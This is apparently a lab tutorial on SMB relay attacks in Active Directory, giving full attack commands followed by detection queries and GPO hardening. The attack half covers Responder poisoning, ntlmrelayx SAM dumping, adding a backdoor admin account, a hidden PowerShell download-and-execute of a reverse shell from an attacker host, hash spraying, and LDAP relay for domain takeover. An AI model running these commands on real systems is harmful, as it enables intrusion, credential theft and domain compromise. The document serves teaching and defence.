SMB Relay Attack —
Lab Walkthrough & Detection

# All pre-installed on Kali 2024.x — verify versions
responder --version          # Responder 3.1.x
ntlmrelayx.py --version      # Impacket 0.11+
crackmapexec --version        # or: netexec --version (CME successor)

# If missing, install impacket from pip
pip3 install impacket --break-system-packages

# Optional but recommended
sudo apt install bloodhound neo4j wireshark -y

# Scan entire subnet for SMB signing state
nmap --script smb2-security-mode -p445 192.168.56.0/24

# Expected output:
# 192.168.56.10 (DC01)  → Message signing enabled and REQUIRED    ← protected
# 192.168.56.20 (WS01)  → Message signing enabled but not required ← VULNERABLE
# 192.168.56.30 (SRV01) → Message signing enabled but not required ← VULNERABLE

# Also generate a relay-ready target list with CrackMapExec:
crackmapexec smb 192.168.56.0/24 --gen-relay-list targets.txt
cat targets.txt  # lists all hosts where relay will succeed

# Edit the Responder config — this is the most common mistake beginners make
sudo nano /etc/responder/Responder.conf

# Find these two lines and change On → Off
SMB = Off     # was: On — disable to let NTLMRelayX handle SMB auth
HTTP = Off    # was: On — disable to let NTLMRelayX handle HTTP auth

# Leave all poisoners ON — these are what trigger the victim
# LLMNR, NBT-NS, MDNS all stay: On

# Identify your host-only interface first
ip a
# Look for 192.168.56.x — typically eth1 on VMware

# Run in analysis mode — NO poisoning, just observation
sudo responder -I eth1 -A

# Leave running 5–10 minutes. Output shows:
# [Analyze mode: LLMNR] Request by 192.168.56.20 for FAKEHOST, ignoring
# This tells you who is broadcasting and what hostnames they're requesting
# Before you poison, you know exactly what traffic to expect

# Launch poisoning — leave this terminal running throughout the attack
sudo responder -I eth1 -wrf

# Flags:
# -w  = Enable WPAD rogue proxy (catches HTTP auth from browsers)
# -r  = Answer NetBIOS wredir suffix queries
# -f  = Fingerprint hosts (logs OS/browser info for recon)

# Responder confirms active poisoners:
[+] Poisoners:
    LLMNR                      [ON]
    NBT-NS                     [ON]
    MDNS                       [ON]
    DNS                        [ON]
    DHCP                       [OFF]
[+] Servers:
    HTTP server                [OFF]   ← correct — we set this Off
    SMB server                 [OFF]   ← correct — we set this Off

# Relay to single target — dumps SAM database on success
sudo ntlmrelayx.py -t smb://192.168.56.30 -smb2support

# Flags:
# -t smb://IP   = relay target (SRV01, SMB protocol)
# -smb2support  = enable SMBv2 relay (required for modern Windows)

# On success, NTLMRelayX dumps the SAM hive automatically:
# Administrator:500:<LM>:<NTLM>:::
# WS01-USER:1001:<LM>:<NTLM>:::

# Open an interactive SMB shell on success instead of auto-dump
sudo ntlmrelayx.py -t smb://192.168.56.30 -smb2support -i

# NTLMRelayX opens an SMB shell on localhost:11000
# Connect from a third terminal:
nc 127.0.0.1 11000

# Inside the SMB shell:
shares          # list available shares
use C$          # mount C: drive
ls              # list directory
cd Users\Administrator\Desktop
get passwords.txt

# Run a specific command when relay succeeds
# Example: add backdoor local admin account
sudo ntlmrelayx.py -t smb://192.168.56.30 -smb2support \
  -c "net user backdoor P@ssw0rd123! /add && net localgroup administrators backdoor /add"

# Or: download and execute a reverse shell (in authorized lab only)
sudo ntlmrelayx.py -t smb://192.168.56.30 -smb2support \
  -c "powershell -nop -w hidden -c IEX(New-Object Net.WebClient).DownloadString('http://192.168.56.5/shell.ps1')"

# Use the targets.txt generated by CrackMapExec in Step 01
# NTLMRelayX tries all targets in parallel for every captured auth
sudo ntlmrelayx.py -tf targets.txt -smb2support

# On real engagements: a single domain user credential may be
# local admin on dozens of machines due to credential reuse.
# Multi-target maximises the blast radius of each captured session.

# Option 1 — File Explorer address bar (most realistic)
# Type into Explorer: \\FAKESERVER\share
# Windows tries DNS first → fails → falls back to LLMNR broadcast

# Option 2 — CMD
net use \\FAKESERVER\share

# Option 3 — PowerShell
Test-Path \\FAKESERVER\share

# NetExec (nxc) is the maintained successor to CrackMapExec
# Kali 2024+ ships with both — prefer netexec for new engagements

# Verify the captured hash grants admin access
netexec smb 192.168.56.30 \
  -u Administrator \
  -H 31d6cfe0d16ae931b73c59d7e0c089c0 \
  --shares

# Expected success output:
SMB  192.168.56.30  445  SRV01  [+] CORP\Administrator:31d6c... (Pwn3d!)

# Run commands, dump secrets
netexec smb 192.168.56.30 -u Administrator -H <hash> -x "whoami /all"
netexec smb 192.168.56.30 -u Administrator -H <hash> --sam
netexec smb 192.168.56.30 -u Administrator -H <hash> --lsa

# crackmapexec syntax is identical — use if netexec not available
# crackmapexec smb 192.168.56.30 -u Administrator -H <hash> --sam

# Spray the captured hash across the entire subnet
# This shows every machine where the victim user is a local admin
crackmapexec smb 192.168.56.0/24 \
  -u jsmith \
  -H a87ff679a2f3e71d9181a67b7542122c

# Every host that returns (Pwn3d!) is a lateral movement target
# In real enterprise environments, a single domain user may be
# local admin on 10–50+ machines due to poor credential hygiene

# Document every (Pwn3d!) host for your report's findings section

# Portal: security.microsoft.com
# Path: Security → Incidents & alerts → Alerts
# Filter: Detection source = Microsoft Defender for Identity

# Expected alert timeline:
T+0:00  — Relay occurs (NTLMRelayX authenticates to SRV01)
T+0:30  — MDI ingests DC authentication logs
T+1:00  — Alert fires: "NTLM relay attack"
T+5:00  — Incident created if correlated with other signals
T+5:00  — Automated response can isolate WS01 (if MDATP enrolled)

// Hunt for a single account authenticating to multiple targets
// within 5 minutes — strong indicator of relay or pass-the-hash
IdentityLogonEvents
| where LogonType == "NTLM"
| where Protocol == "Ntlm"
| summarize
    LoginCount = count(),
    Targets = make_set(DeviceName),
    SourceIPs = make_set(IPAddress)
  by AccountName, bin(Timestamp, 5m)
| where LoginCount > 3 and array_length(Targets) > 1
| project Timestamp, AccountName, LoginCount, Targets, SourceIPs
| sort by LoginCount desc

// Sentinel Analytics Rule — Schedule: every 10 minutes, lookback: 10 minutes
// Alert threshold: TargetCount > 3 in window
SecurityEvent
| where EventID == 4624
| where AuthenticationPackageName == "NTLM"
| where LogonType == 3                          // Network logon
| summarize
    TargetCount = dcount(Computer),
    Targets = make_set(Computer),
    SourceIPs = make_set(IpAddress)
  by TargetUserName, bin(TimeGenerated, 10m)
| where TargetCount > 3
| extend
    AlertSeverity = "High",
    Tactic = "LateralMovement",
    Technique = "T1557.001 - LLMNR/NBT-NS Poisoning and SMB Relay"
| project TimeGenerated, TargetUserName, TargetCount, Targets, SourceIPs, AlertSeverity, Technique
| sort by TargetCount desc

# GPO Path:
# Computer Configuration → Policies → Windows Settings
# → Security Settings → Local Policies → Security Options

# For all domain-joined workstations and member servers (the critical ones):
Microsoft network server: Digitally sign communications (always)     → ENABLED
Microsoft network client: Digitally sign communications (always)     → ENABLED
Microsoft network server: Digitally sign communications (if client agrees) → ENABLED
Microsoft network client: Digitally sign communications (if server agrees) → ENABLED

# GPO Scope: Link to domain root
# Security filtering: exclude printers and legacy CIFS devices
# that don't support SMBv2 signing (audit these separately)

# DCs already have signing required by default — verify with:
# Get-SmbServerConfiguration | Select RequireSecuritySignature

# Run on target machines after GPO applies (gpupdate /force first)
Get-SmbServerConfiguration | Select-Object RequireSecuritySignature, EnableSecuritySignature

# Expected output BEFORE GPO:
RequireSecuritySignature : False
EnableSecuritySignature  : True

# Expected output AFTER GPO:
RequireSecuritySignature : True
EnableSecuritySignature  : True

# Re-run the Nmap scan from Step 01 to confirm:
# nmap --script smb2-security-mode -p445 192.168.56.20
# Expected: "Message signing enabled and required"

# GPO Path:
# Computer Configuration → Policies → Administrative Templates
# → Network → DNS Client
# → Turn off multicast name resolution → ENABLED

# Verify via registry after GPO applies:
reg query "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\DNSClient" /v EnableMulticast
# Expected: EnableMulticast = 0x0 (Disabled)

# Or via PowerShell:
(Get-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows NT\DNSClient").EnableMulticast
# Expected: 0

# Deploy as a Computer Startup Script via GPO
# Disables NetBIOS on all IP-enabled network adapters
# Uses Get-CimInstance (modern) instead of deprecated Get-WmiObject

$adapters = Get-CimInstance Win32_NetworkAdapterConfiguration |
    Where-Object { $_.IPEnabled -eq $true }

foreach ($adapter in $adapters) {
    $result = Invoke-CimMethod -InputObject $adapter -MethodName SetTcpipNetbios -Arguments @{ TcpipNetbiosBios = 2 }
    if ($result.ReturnValue -eq 0) {
        Write-Output "Disabled NetBIOS on: $($adapter.Description)"
    } else {
        Write-Warning "Failed to disable NetBIOS on: $($adapter.Description) (Code: $($result.ReturnValue))"
    }
}

# SetTcpipNetbios values:
# 0 = Use DHCP setting  |  1 = Enable  |  2 = Disable
# Fallback for older systems that don't support Get-CimInstance:
# Get-WmiObject Win32_NetworkAdapterConfiguration | ForEach-Object { $_.SetTcpipNetbios(2) }
    

# Set DHCP Option 046 (NetBIOS node type) on all scopes
# Value 0x2 = P-Node (point-to-point, no broadcast resolution)
# This stops broadcast name resolution at the infrastructure level
# and covers machines the PowerShell script may have missed

# In DHCP Manager (Windows Server):
# Server Options → Add/Edit → 046 WINS/NBT Node Type → 0x2

# Via PowerShell on DHCP server:
Get-DhcpServerv4Scope | ForEach-Object {
    Set-DhcpServerv4OptionValue -ScopeId $_.ScopeId -OptionId 46 -Value 2
}
# Apply to all scopes — no DHCP restart required

# Point NTLMRelayX at the DC's LDAP service instead of SMB
# No SMB signing required — LDAP signing is what matters
sudo ntlmrelayx.py -t ldap://192.168.56.10 -smb2support

# On relay success, NTLMRelayX has a writable AD session
# Default: dumps LDAP AD data, creates a backdoor user account

# To trigger RBCD abuse (escalate to domain admin):
sudo ntlmrelayx.py -t ldap://192.168.56.10 -smb2support \
  --escalate-user=jsmith

# This sets Resource-Based Constrained Delegation on jsmith's account:
# allows a machine account to impersonate jsmith to request service tickets
# Result: full domain compromise via impersonation

// Hunt for LDAP modifications from network logons (relay indicator)
// Schedule: every 5 minutes, lookback 5 minutes
AuditLogs
| where OperationName in~ ("Add user", "Update user", "Update group", "Set member")
| where InitiatedBy.user.userPrincipalName !contains "@"  // Machine account — no @ sign
| where TargetResources[0].modifiedProperties has "msDS-AllowedToActOnBehalfOfOtherIdentity"  // RBCD abuse
| project TimeGenerated, InitiatedBy, OperationName, TargetResources, Result
| extend AlertSeverity = "Critical", Technique = "T1557.002 - LDAP Relay / RBCD"

# Domain Controllers and all LDAP clients must enforce signing
# GPO Path: Computer Configuration → Policies → Windows Settings
# → Security Settings → Local Policies → Security Options

Domain controller: LDAP server signing requirements → Require signature

# On DCs, verify via registry:
reg query "HKLM\SYSTEM\CurrentControlSet\Services\NTDS\Parameters" /v "LdapServerIntegrity"
# Expected: LdapServerIntegrity = 0x2 (Require signature)

# After GPO applies, LDAP relay fails — NTLMRelayX can't sign LDAP packets:
# [-] LDAP signing required, attack not possible

# GPO Path: Computer Configuration → Policies → Administrative Templates
# → Network → IPv6 Settings
# → IPv6 transition technologies → 6to4 → Set 6to4 state → Disabled State
# → Teredo → Set Teredo state → Disabled State
# → ISATAP → Set ISATAP state → Disabled State

# Or disable IPv6 entirely via registry on all machines:
reg add "HKLM\SYSTEM\CurrentControlSet\Services\Tcpip6\Parameters" /v "DisabledComponents" /t REG_DWORD /d 0xff /f

# Disable DHCPv6 on all interfaces, require static IPv6 assignment
Get-NetAdapterBinding -ComponentID tcpip6 | ForEach-Object {
    Disable-NetAdapterBinding -Name $_.Name -ComponentID tcpip6
}

# Or more granularly — disable DHCPv6 via netsh:
netsh int ipv6 set int InterfaceIndex dhcp=disabled

# Enforce slaac (Stateless Address Auto-Configuration) instead of DHCPv6
netsh int ipv6 set int InterfaceIndex forcedasource=enabled

// Hunt for WPAD proxy authentication — mitm6 indicator
SecurityEvent
| where EventID == 4688  // Process creation
| where CommandLine contains "wpad" or CommandLine contains "mitm6"
| project TimeGenerated, Computer, CommandLine, ParentProcessName
| extend AlertSeverity = "High"

// Also hunt for network logons to suspicious DHCP-assigned addresses
SecurityEvent
| where EventID == 4624 and LogonType == 3  // Network logon
| where IpAddress matches @"fe80::"  // Link-local IPv6 (DHCPv6-assigned)
| summarize LoginCount = count() by TargetUserName, IpAddress, bin(TimeGenerated, 5m)
| where LoginCount > 2